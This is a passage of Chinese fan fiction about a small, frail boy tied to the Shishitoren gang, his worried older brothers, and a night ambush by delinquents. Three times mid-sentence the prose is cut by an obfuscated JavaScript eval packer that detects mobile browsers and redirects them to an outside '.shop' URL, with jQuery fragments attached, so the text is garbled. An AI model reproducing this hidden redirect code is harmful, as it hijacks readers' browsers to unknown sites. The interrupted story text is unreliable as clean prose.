“你看,四天王都这么说了”桂生笑出声来一边告诫自己不要拿刻板印象套在别人身上,这样很失礼还很容易出错,一边又薅了两把榆井的头发。 “不过我不是小学生哦,和你同龄,明年的春天我就16岁了”柊登马出场的时间非常巧妙地打断了桂生施法,让还没来得燃起来的愤怒被掐灭了,但该说的话桂生并不打算吞下去。 ……虽然被误会年龄也不是什么大不了的事情,但是啊,但是啊!等榆井情绪过去了、等他回过神来,意识到自己握着个小学生的手被感动得稀里哗啦眼泪汪汪的,想必他大半夜睡到一半都会坐起来把自己尴尬得扇自己俩耳光。 为了榆井的健康还是姑且解释一下吧。 气氛又一次凝固了。不论是柊也好还是榆井也好,都露出了“我时常因为听得太快等我意识到我听到了什么东西后已经迟了”的表情。 榆井甚至从烧水壶的进化中被打断,露出了“今晚我想起这个事儿高低得扇自己两巴掌的”的表情,满脸写着“我可真不是人啊,人家这么矮已经很伤心了,我怎么能对桂生说这么残忍的事情呢。” 对于身高,以前桂生可能会更在意一点吧,但是事到如今他连“座敷童子”都能当做是同伴对他的爱称,身高这样客观的事实引起的误解有什么不能接受的。 何况对方抱有的是充分的善意与包容。桂生一直以来的原则都是面对善意回馈更多善意,面对包容回馈更多包容。 说实话,桂生甚至觉得,面对把他当做小学生都放任他摸摸头的榆井,他可能一生都没法生气了。 “因为身体有点问题,所以小学开始就没有长高了,不过不影响我变强啦…虽然现在还很弱就是了。”桂生晃了晃自己的拳头,这场面活像是“博美凶狠的目光”,只不过不是那种白砂糖做的棉花糖博美,是那种加了色素的黄色小狗。 原本因为胃痛被同伴们留在店里的柊觉得经过了一段时间的休息之后胃更加痛了。忍住,忍住,一定不可以笑,在这个时候笑出来也太地狱了。说点什么…快,在笑出来之前说点什么,柊登马,你可以做到的。 本来要进狮子头连那边就不是容易的事情了,身体有问题的话不是更加困难了吗。 “我记得,狮子头连里面也有例外吧,那个座敷童子还是酒吞童子什么的。会带来好运的那个”灵机一闪,他想到了之前和狮子头连乱斗的时候的事情。 那个时候差点打在兔耳山脸上的时候,那家伙用一种对人类来说相当极限的姿势跳着躲开,嬉皮笑脸地说着类似于“哎呀,不可以打到脸上哦,我们的座敷童子会生气的。”之类的话。 因为座敷童子这个说法当时他还兴致勃勃地问了两句,没想到对方也兴致勃勃地回答了。 “嚯——那位‘座敷童子’很强吗?在哪里。” “才不是啦,他超弱的,但他是很好很好很好的好孩子哦。” 之后好像还聊了点什么,但是一边打一边聊也聊得断断续续的,后来聊了什么也不记得了。只是因为好奇心所以记得在视力量为绝对信仰的狮子头连里有个会带来好运却又弱不禁风的什么童子。 “当时的兔耳山也好十龟也好都还没有爬上那边的顶点,但是字里行间对那家伙都很维护,大概是对他们来说重要的同伴吧。” 桂生本来还想说点什么证明自己真的在努力变强了,却在听他说座敷童子的时候安静了下来。像是浑身沐浴在温水里一样的幸福感笼罩着他,温暖的熨帖着他的心,连同身上那些还没好全的伤痛似乎都隔了一层雾,被这种幸福感隔绝在了感知之外。 就算再怎么知道自己是被爱着的,离开了大家这么久之后能够从外人的嘴里听到这种事还是会开心得不行嘛。 “不是酒吞童子,是座敷童子啦”桂生低低地笑出声,在他们惊讶的目光中继续说下去。“因为一直跟着哥哥们,所以前辈也大发慈悲地给了我一件外套,实际上我不算是狮子头连的成员。” 桂生想了想,决定这样说。被赶出去什么的太狼狈了、也太可怜了吧?所以大家也原谅我一下,让我把事情美化一下嘛——反正这种事情只要自己能够回去就都无伤大雅吧。 听到这里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14125300|149894||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 柊觉得自己今天简直从头到尾没说一句中听的话,说出去的话像是伤害点满的回旋刀,飞出去的时候把这小孩捅一刀,等他发现这小孩被捅刀子之后回旋刀就飞回来插在他的背上。 现在的柊登马像是个唱京剧的老将军,背上插满了旗子。 对方都把话说到这个地步,他也明白了座敷童子这个称呼是怎么来的了。无非就是没有长高的小鬼一连这么多年都没有变化,又显而易见地不是侏儒那样的疾病,长得又精致漂亮的,所以被团队的成员当做妖怪。 也真亏他们能从那么多妖怪里找到个没有杀伤力又造福人类的类型。 ……可是既然话题的本人坐风铃的地盘喊着要变强要加入狮子头连,那不就说明“座敷童子”这个特例也没有成为特例吗。这样一想,之前说的那些安慰就变得地狱起来了。 今晚凌晨的时候他高低要睡到一半坐起来给自己甩两个耳光,我真该死啊。啊啊开始胃痛了。 “不过我明年也是高中生啦,一直被特殊关照也不行吧,我也想要保护哥哥们嘛……虽然比他们强这种事情没可能啦,但是努努力的话总是能做到一些力所能及的事情吧?所以这一次我打算变强了之后靠自己的力量加入他们。” 桂生对于这种“我可真不是人啊”的表情已经有点腻了,为了大家的睡眠和店里的气氛,他不可能再放任这种乌云弥漫开,趁着琴叶还在打扫,赶紧把话题扭转过来。 此时他就很庆幸自己撒的小谎,如果真的说自己被赶出来什么的大家对狮子头连会有不好的印象吧,也显得自己像个流浪狗一样,如果这个情节放在现在流行的轻小说里标题八成会是《因为太弱被放逐的我成为小镇强者重新回到他们面前》。 这边的人反正也没人知道真相也没法去对峙…… 等一下,琴叶知道诶。那个时候心态崩溃了,都没有来得及编故事。算了,琴叶肯定不会跟别人说的吧,对吧琴叶。 虽然只是换了个说法就算本质没多少区别,至少现在这个说法听起来应该是可以去《少年JUMP》连载的王道少年漫了。 榆井安静地听着,他完全可以理解对方的心情,就算弱小也好,就算是有这么多困难也好,也想要离憧憬着的他们近一点、再近一点,就算要在不适合自己生存的规则下努力也很幸福。 然后在桂生说出,狮子头连就是很好世界第一好的时候,这份感动与同理心就消散了。其他的你说得对,但是世界第一好必须是防风铃! 榆井气势汹汹地开始跟桂生论述风铃也很厉害、世界第一厉害。论讲故事和辩论赛,我们榆井从来都不怂的!然后两个人像是回合制卡牌游戏一样,通过描述两个阵容的事迹来进行对决。 听着少年人的志向柊也算是放松下来,靠着椅子背往后躺,没有加入这个话题。自己把做过的那些事情说出来跟少年人一起争论对他来说还是太过了。他又不讨厌狮子头连,那一次打得还挺畅快的,桂生吹狮子头连的时候他也没什么反驳的欲望。 而且名义上来说狮子头连算是敌对团体,但只要对方不主动进攻风铃这边也没有什么实际意义上的冲突,那边看起来也不像会做这种无聊的事情。 要不是现在他真的觉得很欣慰,听着榆井像是说落语一样抑扬顿挫地说那些过程和氛围跟事实完全无关,开头和结局却奇迹般一样的英雄传说,可能他的脚会进化出锐利的回旋踢同时对着空气抠出城堡的秘技。 柊并不是梅宫最初的伙伴,他也曾经像所有不了解梅宫的人一样嘲笑过他要做的事情,把那一切看做是不可能的理想化结果。 让弱小的人也能够堂堂正正地活着,没有畏惧地去装扮自己,去装扮自己的店铺。让女孩子不再因为怕被拽住头发而剪短发,让暴力不再是宣扬自身存在的主旋律,让住在这里每个人都有机会能够活出自己期待的样子。 看着眼前孱弱的两个少年人们吵吵闹闹地聊着自己憧憬的组织、憧憬的人,说着他们的事迹……防风铃所有的努力不就是为了这一刻吗? 11. 第 11 章 最后,在“我的英雄哥哥特别厉害”VS“防风铃才是最叼的”辩论赛中桂生与榆井平分秋色,双方向眼前这位值得尊敬的对手奉上敬意握手表示尊重。然后桂生加上了柊和榆井的Line,打扫完卫生的琴叶也不甘示弱,四个人围着桌子对着手机摁摁摁摁。 于是,在桂生的通讯录里多出了“防风铃”这个分类,里面多出了【看不到眼睛的体贴雪纳瑞】(楠见)【胃痛随身听战神】(柊)【可敬的对手】(榆井)而琴叶值得单独分组,被冠上了【拯救空腹的神】之名。 聊天的过程中也提到了,其实桂生的哥哥们并不是很支持他去狮子头了。柊虽然没有参与对话,但也不是不能理解,就算知道他马上就是高中生了,但是看着这么个精致漂亮跟小学生一样的孩子,谁舍得他去跟一群泥小子一起鬼混啊? 何况孩子成绩还很好,高中冲一冲说不准还能考东大。柊扪心自问,要是有这样的后辈,不管对方说什么他都不会推荐他来风铃的。感觉这样的孩子就该被保护着好好读书,以后成为医生、律师之类进入上流社会,拥有发光的人生。 嗯?怎么感觉这个描述似曾相识?哎呀,他好像还真的对后辈说过类似的话,只不过在身边的家伙一个个都任性得过分了,就算说了“不要跟过来”也完全不听。最后只有佐狐一个乖孩子,那小子现在也读高中了啊,虽然身边少了那家伙多少有点寂寞,但他肯定也在好好享受人生与青春吧! 不过说到底医生也好律师也好,说到底都是他人的一厢情愿,看着桂生熠熠生辉的眼睛,柊只觉得孩子能够坚定自己想走的道路有个无悔青春也不错——至于之后的事情谁知道呢。 柊想到这里,绞紧的胃袋也放松了,休息时间也够长了,他打算在回家之前再巡街一遍。柊走了之后时间也确实不早了,大家道过别之后也各回各家。 只不过看在榆井是个可敬的对手的份上,虽然是多余的话,桂生也忍不住劝告了两声。“虽然风铃需要的并不仅是会打架的家伙,但是太弱的话,只能看着同伴受伤却无能为力的感觉真的很难受。” “变强这种事情不论从什么时候开始都比之后再犹豫一会要好得多。榆井,别在体验过不甘心之后才后悔。” 也没有管榆井听没听,总之桂生先走了。已经这个时间点了要是不快点回去换衣服,到了时间他没有被刷新在固定地点的话,面具混蛋的恶名就会从【拿武器揍人】【不讲武德】【脱人衣服】【抢钱】之后再多一个【不守时】了…… 嗯…嗯…嗯……?这么一想,迟到好像问题也不大。到家的桂生犹豫了一下,觉得还是不能养成迟到的习惯,麻利地穿上了他的夜袭战袍。 本来十龟哥就已经不乐意去做要赶时间的事情了,他再迟到一下,以后出去做点什么只怕会迟到个天荒地老吧。 等桂生赶到桥洞下面的时候,场上的人数有点超出他的预料。似乎是这段时间脱衣服、抢钱的行为惹了众怒,今天各个组织的不良们像是手拉着手一起上厕所的JK一样肩并着肩在这里等着世界BOSS面具混蛋的刷新。 在桂生的视角里场面就是这样: ___________________ |————桥洞————| | ______________ | | |众众众众众众众| | | |众众众众众众众| | |__|众众众众众众众|__| 人←(桂生) 桂生:……? 桂生:啊?这阵仗是不是有点离谱了。 但是出来混总归是要还的嘛,看着眼前的人群桂生没有后退。耳朵里全都是自己的心跳声,他甚至已经开始听不清对面的叫嚣了,血液的流动似乎也随着脉搏在鼓膜上跳动。 这是恐惧吗?可如果这是恐惧的话,那为什么他连后退的心都生不出来?虽然打人是不对的,但既然对方围上来的话也没有办法吧?有这么多人的话,这一次一定可以把那些努力练习出来的帅气招式都用上的对吧。 “啊…真是兴奋啊。”桂生自己都没有意识到,他已经开始享受了,享受打架,享受面对危机时的战栗,享受这一切本该在他的灵魂里却被弱小的身体、剧烈的疼痛、过量的溺爱阻挠了这么多年的快乐。 他把面罩下的口枷戴好,光明正大地,将甩棍拿出来,就这样冲了上去。 疼痛、快乐、咆哮。太多尖锐的情绪混杂在一起,不同的人不同的情绪在同样的氛围里变得尖锐,充满攻击性。 桂生从来没有这么直接地感受过这么多人的情绪。他一直住在被大家精心搭建构筑的舒适圈里,生活里所有尖锐的情绪都被大家用溺爱打磨得圆润才让他接触。他讨厌疼痛,讨厌恶意,但不讨厌这样的场合。 似乎他做什么都会被允许,只有这种时候,只有现在他可以不用可爱,不用在意任何人的心情,他不再是宝箱里最美丽的珠宝,不再是大家打完后的战利品。他是剑,是法杖,是握住剑的手,是勇者传奇的背景板里一名微不足道的勇者同伴。 就算被讨厌的疼痛包裹,这样肆意妄为的感觉也让人上瘾。 桂生放任自己融入了进去,就算双腿变得沉重,就算手臂变得酸痛,就算身上到处都痛得要死他也没有停下。像是通宵上网的网瘾少年,在睡过去前的最后一秒都不愿意放开键鼠一样,到了最后,他甚至没有那种握力去握住手里的武器了。 甩棍在某一次挥舞中飞了出去,打翻了巷子里的垃圾桶。没有了武器也没有关系,还不到撤退的时候,他还有拳头,有骨头,他还可以再玩一会。肾上腺素的激增与注意力的高度集中,他现在甚至没法分心去感受身上的疼痛。明明身上破破烂烂桂生却感觉自己好得出奇。 这场声势浩大的围堵发生在两个势力的交界。狮子头连倒是不怎么多管闲事,但是,为了规避风铃的察觉他们也算是做出了相当的努力,以至于这么多人聚集在这里风铃那边也没收到消息。 两边对这里的不闻不问让桂生打了个爽,爽完之后筋疲力尽了。他其实对于身体的状态没有什么概念,因为疼痛一直都在巅峰的阈值,一点点伤和重伤的差异其实并不是那么大,以至于他根本分不清是没有力气了还是受伤了。 但随着肾上腺素的作用降低,再怎么迟钝也在身体骤然升高的疼痛中意识到了身体达到了极限。在混战中染上狂气的头脑忽然就被疼痛拉拽回了理智。挣扎着从人群的中间跑出来,看着眼前的情况才缓缓意识到。 天杀的!这群人真是不要脸啊!怎么被打倒的人坐旁边休息一会还继续上啊,还有人端茶倒水的,这合理吗!? 桂生是享受打架的快乐,但是他又不傻,也没想过为了打架把自己玩死。所以他找到个间隙往巷子里钻。 把自己的刷新地点定在这里就是因为对附近的环境熟悉,为的就是现在这一刻。桂生拔腿就跑,虽然这会腿已经快没什么知觉了,感觉自己应该还是在跑,但是又不太能感觉到腿。刚开始打的时候想把练会的动作都试试,打得十分浪费体力,现在要跑了才发现在浑身充溢的剧痛里大腿的酸胀感居然也能够脱颖而出。 好酸、好痛、眼泪要喷出来了! 桂生一路往狮子头连地盘的小巷子里钻,一来是这边巷子多,二来是这边他比较熟,三来……往这边跑大概是一种本能吧。心里总是觉得只要在狮子头连的地盘上自己就是安全的,没有人能伤害自己,在危急的时候,哥哥就会像小时候那样,从天而降将其他人打跑。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14125301|149894||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 就算知道这样的奇迹不会再发生第二次,只要踏上了这片土地,桂生就会莫名心安。 桂生把自己塞进了粗大垃圾的缝隙里。非法丢弃的电器胡乱地堆在巷子里,桂生把自己掩盖失去门的冰箱里,安静地被破碎的老电视挡在后面。将面罩取下来,把被口枷堵在嘴里差点把自己呛死的鼻血吐出来之后大口呼吸着。听着外面嘈杂的声音,用哽咽的声音似哭似笑的呜咽着。 他其实不太分得清自己现在的情感。他兴奋过了,也害怕过了,身上的疼痛碾压着他的神经。说实话他现在已经累得手指一根都动不了,想要就这样睡下去,放任自己在夜风与淅淅沥沥落下雨水中入睡。 但是不行的吧。不知道那些家伙会不会找过来,在这里入睡绝对会生病。现在的他是一个人,他必须…保持清醒。 在狭小的空间里桂生喘息着,身上的疼痛让他忍不住发出低沉的呜咽。外面似乎是发生了什么,男人的怒吼、尖叫,吵闹起来,又逐渐远去,渐渐地变成了一片静默的雨声,雨滴落在了金属上,敲出噼里啪啦的声音,流进他衣领的凉意把他惊醒。 咚地一声,本就被那些人敲得邦邦痛嗡嗡响的脑袋雪上加霜。但也让他清醒的从瞬间坍塌的电器堆里被推挤出来,像是坐滑滑梯一样一个俯冲摔进水坑。 桂生:…… 桂生:……行叭。 汗水、雨水、血液、泥土,一切都混杂在一起在昏暗的路灯下变成辨别不清的颜色。实在狼狈得过头了。放松下来之后除却剧痛,手脚都发软了,以至于桂生甚至爬起来又一次跌了回去。 像是鞭炮炸水沟一样,他这一摔摔得水花飞溅,本就有够狼狈了,现在看起来更像是一块破抹布了。 说实话,这个时候他甚至有种冲动就这么趴在这里睡一觉,在哪里摔倒就在哪里睡觉,等明天早上再想办法把自己从地上撕下来,考虑请假还是上学的问题。 不过这种事也就只能想想而已 ,桂生深吸了一口气打算自己把自己从地上撕下来的时候余光不经意扫到了路灯光晕的边缘处…… 一瞬间他似乎在那里看到了一个人影,可是当他转过头看过去时那里却又是空无一人。 夜风忽然变得更冷了,桂生颤了颤,从背脊直升一股子寒意,总觉得黑夜里有一双眼充满了愤怒地注视着他。 面对人挤人的不良团体围堵时桂生面不改色,面对暴怒的兄长桂生从容面对,面对四天王桂生不卑不亢,但是面对黑夜里看不到的眼睛有马·怕鬼·桂生连滚带爬呜呜乱哭。 顺着路灯的光,走在路的正中间每一步都踩在光里,一边在心里默念着乱七八糟的口诀,拜着漫天的八百神明,呜呜咽咽踉踉跄跄地往家的方向跑。 无人的街道上太安静了,喘息被呼出来似乎都会在无尽的黑色里被孕育出回声,慌乱的脚步、被踩溅的水洼飞起的液滴、裤脚往上攀爬的寒冷、顺着领子浸入衣服里延绵的雨、告罄的体力、发软的手脚——所有的一切在夜色的渲染下都充满了怪谈的气息。 你看嘛,这一切的元素不就是恐怖片的开头吗。那些恐怖片在主角们开始故事之前往往都有那种作为背景板失踪的几个不信邪的不良少年。 在恐惧的渲染下,这条笔直的路都要被扭曲了。原本还抱着几分心情想要跟哥哥撒娇,让沼哥背着雪哥来接自己之类的…… 但是真的遇到这种不知道怎么应对,在他的认知里真的会有危险的情况时,桂生又坚定了信念。被恐惧捶打的骨气支撑着他就这样跌跌撞撞地回了家。 只是他不知道的是,在黑夜里,在路灯的光达不到的地方,真的确实站着一个人。 远远地、安静地注视着他,看着他踉踉跄跄,轻巧地跟在他的背后,直到他关上了公寓的门。 12. 第 12 章 桂生从狮子头连离开的时候十龟并没想太多。 桂生一直是个善解人意的乖孩子,而有马也一直将这个弱小的弟弟当做眼珠子一样保护着,或许吵了一架,或许只是平静地促膝长谈。总之,在一个阴天,有马一个人把独属于桂生的外套送了过来。 他的外套是特备的,组织里其实并没有适合他的尺寸的外套,给了他最小码的外套之后他自己去找人改的。根据有马的说法,有马家的长姐知道了这件事之后猛练了两天,亲自动手给外套改了尺寸。甚至在衣角下摆的内侧,像小学生一样被稚嫩的针法绣上了桂生的名字。 这件外套并没有像其他人剥皮留下来的外套一样被丢进库房的角落里,虽然简陋,但它确实被衣架撑开挂在了墙上。这件外套其他人是穿不下的,狮子头连大约也不会再认可另一个像桂生一样的孩子加入了。 把它用衣架撑开小心地挂在墙上时十龟其实说不清自己是怎样的心情,大概是仍旧期待着太阳放晴的那一天,将带来好运的座敷童子遗留品存留,或许总有一天它还能再被人穿上也说不定。 但接连收到的都不是什么好消息,桂生离开后有马的状态明显出了问题。 作为中学就加入狮子头连的家伙,因为他年纪小,在这个大多数人都是成年人的团队里一直用平辈语气说话,很多人都觉得有马是个态度特别大的人。不过在狮子头连前后辈、年龄、外表、兴趣、癖好什么的在实力面前都不算什么大不了的东西。 在十龟的印象里,有马一直都像是大型的安慰犬一样情绪稳定得出奇,在立场不对立的时候脾气好得出奇。 他是个在意自己的形象的男人,会花大量的时间打理他的头发,会精心挑选饰品,会将香水分装成小瓶随身携带。但就算是这样也经常可以看到在猎的角落里鹿沼和桂生一起趴在他背后,给他扎了满头小辫子,夹上太多与他的气质形象不符的夹子,而这个在意自己形象的男人对自己身上发生的一切都无动于衷,安然地玩着手机。 就算被同伴笑话几声他也只是随意的摆摆手,被拍下了奇怪的照片也只是无奈说几句让对方适可而止一点。 而现在,他浑身都缠绕着负面的气息,焦虑、慌乱、后悔,与他脚下的烟蒂和他吐出的烟圈一起缠绕着他。他像是没有知觉一样,一根抽完,点上下一根,一根接着一根,机械地动作着。 “这样下去,会把味道带回去让他难受吧。”十龟在有马点上下一根之前握住了他的手。话说出口之后双方都愣了愣,气氛有些奇怪,说实话作为副总代的立场来说,他不该这么亲近地谈论“抛下他们”“离开组织”的“叛徒”,特别是在狮子头连的根据地里。 按照道上的规矩离开的人就是背叛者,他不可以对背叛者这样宽容。 “没关系啦,那家伙不会在意的。”有马用被烟熏得沙哑的嗓音轻声说着,却也只是轻轻地挥了挥手,没有点上指尖的下一根烟。 怎么可能不在意,他最在意的就是你了。十龟皱起了眉头,但到底还是没有把这句不合时宜的话说出来。有马像是已经回过神了,把烟收回了口袋打着哈欠站起来,去收拾满地的烟灰烟蒂。 他看起来实在不太好,十龟有心想说点什么,但是一旦涉及到了桂生,就成了在这个场合不合时宜的东西。所以他只是远远地坐着,注视着有马萎靡的样子。 有马和桂生之间具体发生了什么是在鹿沼买了汽水回来之后才知道的。 十龟没想过会这么严重的。他没法想象有马会对桂生动手,也没法想象桂生会跟有马吵架。 是我的错,我的选择亲手夺走了他的容身之所。他没法责怪被蒙上了乌云的丁子,所以只能责怪自己。愧疚的种子被深埋在十龟的心壤中,他垂下眼安静地听鹿沼说着。头脑中甚至闪现出了最初刚刚加入时,这位小小的前辈在阳光中邀请他一起午睡时的笑容。 当鹿沼说出,桂生离家出走已经两天没有联系有马之后,这颗种子像是在无尽的阴雨柊吸饱了水,汲取了足够多的力量在他的心里生根、发芽。 说完之后鹿沼也坐回了有马的身边,有马的精神甚至有些恍惚,就这样疲惫地倚靠着鹿沼的肩膀睡过去。所有人都很疲惫,所有人都在难过,所有人都因为他的决定受到伤害,而糟糕的是没有人责怪他——甚至没有人觉得他做错了。 桂生被他最爱的兄长驱逐之后难过的选择离开,有马承受着自己珍视的弟弟的怒火也选择独自承受。作为罪魁祸首的自己像个局外人一样被缭绕的烟雾隔绝在外,只能从第三的口中听闻大概的来龙去脉。 而他的立场甚至不能像鹿沼一样去安慰有马也不该去联系桂生… 他不想丁子被大家讨厌,所以愿意亲手来做这些残忍的事情。有马是怎么想的他多少也能够理解,宁可自己被讨厌也想保护对方的心情是一样的,但是,真的要做到这个地步吗? 十龟开始迷茫了,为了理想他什么都愿意做。可是这么做,太阳真的还有放晴的一天吗?十龟摸了摸脖子上绑起来的发尾却又苦笑起来,事到如今还在说什么啊,不是早就已经做好决定了吗? 这种难过像是冬日的雨,即使穿上了厚厚的外套撑着伞也挡不住那顺着寒风浸入的雨,也防不住雨滴里溢满的寒冷。 就算知道有马似乎和桂生联系上了也没能得到半分缓解。桂生没有回去,即使他们是那样亲密的兄弟。 像是下定决心了一样,桂生离开狮子头连之后十龟出手愈发没有忌惮。桂生并不是第一个被驱逐的“前辈,”也显而易见地不是最后一个。 与过去的友人割裂开,失去了回去的地方。被习惯的社交圈驱逐出去,事到如今让他们把自己从原本的定位撕脱开来,与那些被看作羔羊一样的人群混为一谈也太为难人。 理所当然地,这样近乎暴政的行为会被抗议被抵制。声势浩大地、在人心还没有散开、还没有被恐惧和焦虑渲染之前,就算是面对比自己更强大的十龟他们也仍旧站了出来发出自己的声音。 狮子是有社会性的动物,他们为会同伴而哀鸣。比起未来可能出现的、败北后的狼狈,这些抗议更多是源于为离去的人。 十龟其实已经做好了被厌恶、被孤立的觉悟了,被熟悉的同伴们围起来,被孤立到对立面时,他的心里却莫名地有种“啊……终于来了啊”的安心。 他们没有动手,看起来像是哀鸣的野兽。十龟其实很熟悉他们这样的气势,他们曾无数次用这样的气势面对Zinc,这样站在对面还是第一次。明明是他在驱逐其他人,可现在他的处境跟那些被驱逐的人又有什么区别呢?困兽哀鸣着只是这样的哀鸣没来得及发出更多就被扼住了喉咙。 即使他做了这么过分的事情,即使几乎伤害了所有人。作为受害者,有马和鹿沼仍旧逆着人群走到了他的身边。 “我说、你们这么虚张声势的为离开的人抗议……该不会是担心自己会输吧。” 有马的声音并不大,仍旧是那副平辈的口气,甚至平时他配合十龟说话的步调放慢的语速在这个时候也显得格外的傲慢。 人群安静了下来。其他人姑且还能够反驳两句,但是面对的是有马他们只能把到嘴边的话语都咽下去。 毕竟有马被驱逐的可是他的亲兄弟。 “诶——好逊,该不会是意识到了自己其实没有实力一直被庇护着才反对十龟。”鹿沼蹲在了已经昏过去的同伴面前,像是用树枝戳蚂蚁洞一样戳着对方的脸。 “就是一直、一直、一直都是这样,被揍了就夹着尾巴跑回来,才变成 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14125302|149894||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了这种没骨气的东西,怠倦、弱小,真是看不下去啊。” 有马站在了十龟的身边,叹了口气,从他的角度看不到十龟的表情,但是他们都很清楚,这个时候不能放十龟一个人。 如果作为朋友的他们都不站在十龟的身边还有谁能支持他。这样他不就孤身一人了吗? “就是啊,就算是人家也在努力地往上变强哦。这里可是狮子头连啊,弱小的狮子会被饿死哦。被打倒就要被驱逐也是当然的事情啊,半吊子的觉悟下只会变成软骨头哦。”鹿沼低着头,散下来的发遮住了他的表情。 他跟躺在地上的人关系还算不错,甚至前一天他们还约好了有一家的天妇罗很好吃要一起去。 就算声音里带着过分浓烈的嘲讽与笑意,他的脸上也没有半分笑意。 “打架都打不明白的话,为什么不回去复读几年考东大啊”有马懒散地说着,却已经摆好了架势,守在十龟的视野盲点的方向。 有马和鹿沼其实根本就不清楚为什么会变成这样,为什么要驱逐弱者,为什么会变成这种气氛,十龟是怎么想的。 所有都是未知的,但显而易见地他们必须要做点什么。 “放松啦放松,有马也是,别这么紧张啦——不过有马也说得也对哦,打架都打不明白的话,没天赋的孩子还是回去做点别的事情比较好哦。麾下太弱的话我也会困扰的啦。” 十龟的话成了结尾。这次声势浩大的抗议在有马过分鲜明的站队下,莫名其妙地轻拿轻放了。 好像一切都没有改变,又似乎一切都变了。对于十龟来说生活似乎也没有变化。四季轮转着,他的夏日似乎已经过去了,只是夏日的骤雨并没有随着暑气一起离开,夏日里让人清爽的雨也成了一种负担,随着气温的下降开始剥夺他的体温,消磨他的体力,让他的步伐变得沉重,拳头也变得无力。 对着熟悉的人挥拳是痛苦的事情,但十龟必须记住被驱逐被揍的人更痛。像是淋雨之后会要承受那些细细密密的病痛,十龟必须提醒自己,真正的的病痛还没有到来,他所做的这些违心的事情只是雨水润湿了发头带来的微不足道的寒意而已。 并不是没有想过被驱逐的人之后会怎样,找到新的群体,又或是回到学校读书,或者去学点什么……总之人生是漫长的,谁都不会站在原地等着谁。就算太阳重新回来,失去的东西也仍旧是失去了。 就算做好了觉悟,就算想过最糟糕的情况。当他抱着可做可不做的心态,顺着骚动的方向窥探到巷子里的情况时仍旧感受到了从脊背升起的寒意。悲伤?愤怒?后怕?他说不清楚。 十龟的脑子里一遍又一遍地循环着,在哪个昏暗的巷子里,那个矮小的身影将自己摔在墙角,将面具取下来,露出熟悉地、狼狈的脸,颤抖着吐着血块,狼狈地匍匐在地上,把自己塞进那些废弃的电器堆的空隙里。 似乎是没有抓到人,那群人的躁动更加明显了,巷子外面到处都是那群人肆无忌惮的叫嚣声,几个脚步声在巷子里回荡着逐渐靠近。 “真是的,在别人的地盘上这么嚣张的话是会挨揍的哦?” 啊…真是焦躁。十龟没有刻意去分辨自己到底是怎样的心情,唯独有一点很鲜明很清楚,他在生气,需要做点什么发泄一下。活动了一下在情绪里僵硬的斜方肌,揉了揉后颈,十龟笑着迎上了迎面而来的男人。 “哈!?”早就在乱斗里打昏头的男人们没多少理智,没有辨认对方的身份、力量的差距,就迎面攻击了上去。 “我说啊,这里可是狮子头连的地盘哦。敢在这里乱来果然还是我被人小看了吗?真是让人生气呢。” 又一场乱斗开始了,只是这一次他们面对的不再是成长中的幼狮,而是早就成年的、暴怒的雄狮。 13. 第 13 章 围堵的人数稍稍有些多围堵的人数稍稍有些多,但是对于暴怒中的十龟来说这个人数刚刚好。等十龟把人打完,又开始下雨了,这个人人数下要他一直维持理智清醒还是有些为难人了点,但雨来得正是时候。 微凉的液体渗入衣领,总算是让被怒火灼烧得滚烫的大脑冷却了几分。他不愿去去思考桂生的身上究竟经历了什么。那个时候桂生因为被拔走头发而痛得无法动弹的样子几乎刻在了十龟的脑袋里,仅仅是对于一般人来说微不足道的疼痛都会对他造成那样的伤害,那现在呢? 头发的事情已经是很久以前的事了,在那之后十龟也很少看桂生哭泣,本来以为是他的身体在锻炼之后好了很多,但是有马的态度却完全不是那样。 对于他来说会把疼痛饮下的桂生比会痛哭的桂生难搞多了,过分懂事的孩子把难堪的一面藏起来,以至于爱着他的人必须更加细致、更加注意才能不把他弄伤。 “为什么要做到这种地步呢?”十龟也曾问过有马,明明也有着可以让桂生拥有保护自己的力量的选项,为什么要选择将他隔开、保护好,像是笼中鸟一样照顾着?明明不论是有马还是鹿沼,对桂生的态度也是真心实意的关照和爱护。 “他从小二开始,就不会因为衣服鞋子头发之类与皮肤的摩擦而哭,从小四开始,就算摔倒也只会在地上发抖一会再站起来。因为不想被担心,他从小五开始锻炼……”有马说得很平淡,把那些一般人根本就不会记住的东西坦然的说出来。 “虽然好像什么都在变好,这小子逐渐也有了正常人的生活,但是”那个时候有马的目光十龟到现在也忘不掉,像是一种不甘心一种无力,还有更多他说不清楚的情感在里面混杂成一团烂泥。 “他每年的体检报告里,那什么电信号之类的读不懂的东西的数值从来没有降低过,还在升高,医生说他呼吸的空气都是刺痛的。” 